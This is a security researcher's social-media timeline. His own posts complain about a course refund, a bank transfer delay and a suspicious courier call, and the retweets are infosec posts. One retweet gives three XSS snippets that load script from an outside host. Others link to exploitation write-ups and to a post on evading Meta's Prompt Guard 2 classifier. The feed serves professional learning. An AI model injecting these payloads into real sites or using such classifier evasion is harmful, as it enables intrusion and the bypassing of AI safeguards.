Febin

CEH(Master) | eJPT
| OSCP | CRTP | eWPTX | 13x CVE | {passion:hacking} |

StarGazer, loves Astronomy
#infosec #cybersecurity #hacking

[Febin @febin0x1]

Disappointed by @guviofficial. My friend canceled their course & was confirmed for a refund (loan via Propelled).
​Despite cancellation, they were forced to pay the 1st EMI on Oct 31. Now, Guvi has reversed course, denying the refund entirely! 🤯 #Guvi #Propelled #StudentLoan

[Febin @febin0x1]

@AxisBankSupport Thanks

[Febin @febin0x1]

@AxisBank I got an inward remittance of just 800 dollars almost 2-3 weeks ago and it's is still under process!!!! I had to visit the branch to submit the FEMA letter, it's still not received. Each time when I call your employees, they are just delaying it.. Absolutely ridiculous

[Febin @febin0x1]

@AxisBankSupport Thank you!

[Febin @febin0x1]

@Sajin92487373 @AlteredSecurity @febin_0x1 @Sajin92487373

[BRute Logic @BRuteLogic]

Improve your #BugBounty reports
Using a Remote #XSS Call

1. import('//X55.is')
https://t.co/44PpUdSoC1

2. $.getScript`//X55.is` (requires jQuery)
https://t.co/ZQyAdexV0F

3. appendChild(createElement`script`).src='//X55.is' https://t.co/5u88JwaYwE

#hack2learn #hack2earn

[raptor @0xdea]

Heads up to #mobile pentesters: I've ported my @NowSecureMobile #Frida scripts (#iOS and #Android) to Frida 17, which introduced some breaking changes. The original scripts from 2017 are preserved as release 0.1 for compatibility and historical reference.

https://t.co/EK7Bb2JUca

[Suraj Malhotra @MrT4ntr4]

I just wrote about Windows User-Mode Heap Exploitation.
https://t.co/mfRTtMKsjm
Based on a HitconCTF challenge by @scwuaptx, it walks through exploiting a heap overflow vulnerability and abusing file-structure corruption to achieve arbitrary read/write! Hope you like it 🍻

[0xdf @0xdf_]

Puppy is a nice AD assume breach box. I'll abuse GenericWrite on a group, GenericAll on a user, bruteforce a KeepassXC DB, find creds in a config, and dump DPAPI stored credentials.

https://t.co/SQeATkPUMc

[OccupytheWeb @three_cube]

Yes, an innocent Looking jpeg can deliver RCE Malware!

https://t.co/sCXBuyxTTt

[Febin @febin0x1]

@GNC_India I got a call from an unknown number and pretending she's from GNC courier department and said that my order is on hold because it shows as unpaid or something. At first I disregarded it as a scam but she got my details right, she even confirmed my name, order details.

[Febin @febin0x1]

@GNC_India Where's your customer support? Why can't you attend the calls? Recently I have purchased some products through your site (prepaid) but the order is still on unfulfilled status. There's no way to contact you no way to cancel the order either.

[Febin @febin0x1]

@GNC_India [email protected]

[Febin @febin0x1]

@GNC_India I have already mailed to that mail, please check.

[Febin @febin0x1]

@GNCLiveWell ^

[Florian Hansemann @CyberWarship]

''Windows Inter Process Communication A Deep Dive Beyond the Surface - Part 2''

#infosec #pentest #redteam #blueteam
https://t.co/L3qBndhJM7

[Febin @febin0x1]

@payloadartist We should use single digit otp for authentication

[Hacking Articles @hackinarticles]

Active Directory Pentesting Using Netexec Tool: A Complete Guide

https://t.co/2LQx5occyC

#infosec #cybersecurity #cybersecuritytips #microsoft #redteam #informationsecurity #CyberSec #ai #offensivesecurity #infosecurity #cyberattacks #security #oscp #cybersecurityawareness #bugbounty #bugbountytips

[Adam Chester 🏴‍☠️ @_xpn_]

New blog post is up! Stepping out of my comfort zone (be kind), looking at Meta's Prompt Guard 2 model, how to misclassify prompts using the Unigram tokenizer and hopefully demonstrate why we should invest time looking beyond the API at how LLMs function. https://t.co/pHNVg2p9Xf

[Sarah Young @_sarahyo]

Okay so this is HUGE - our amazing AI red team have open sourced their AI red team labs so you can set up your own training!

https://t.co/brvdq6roHp

@ram_ssk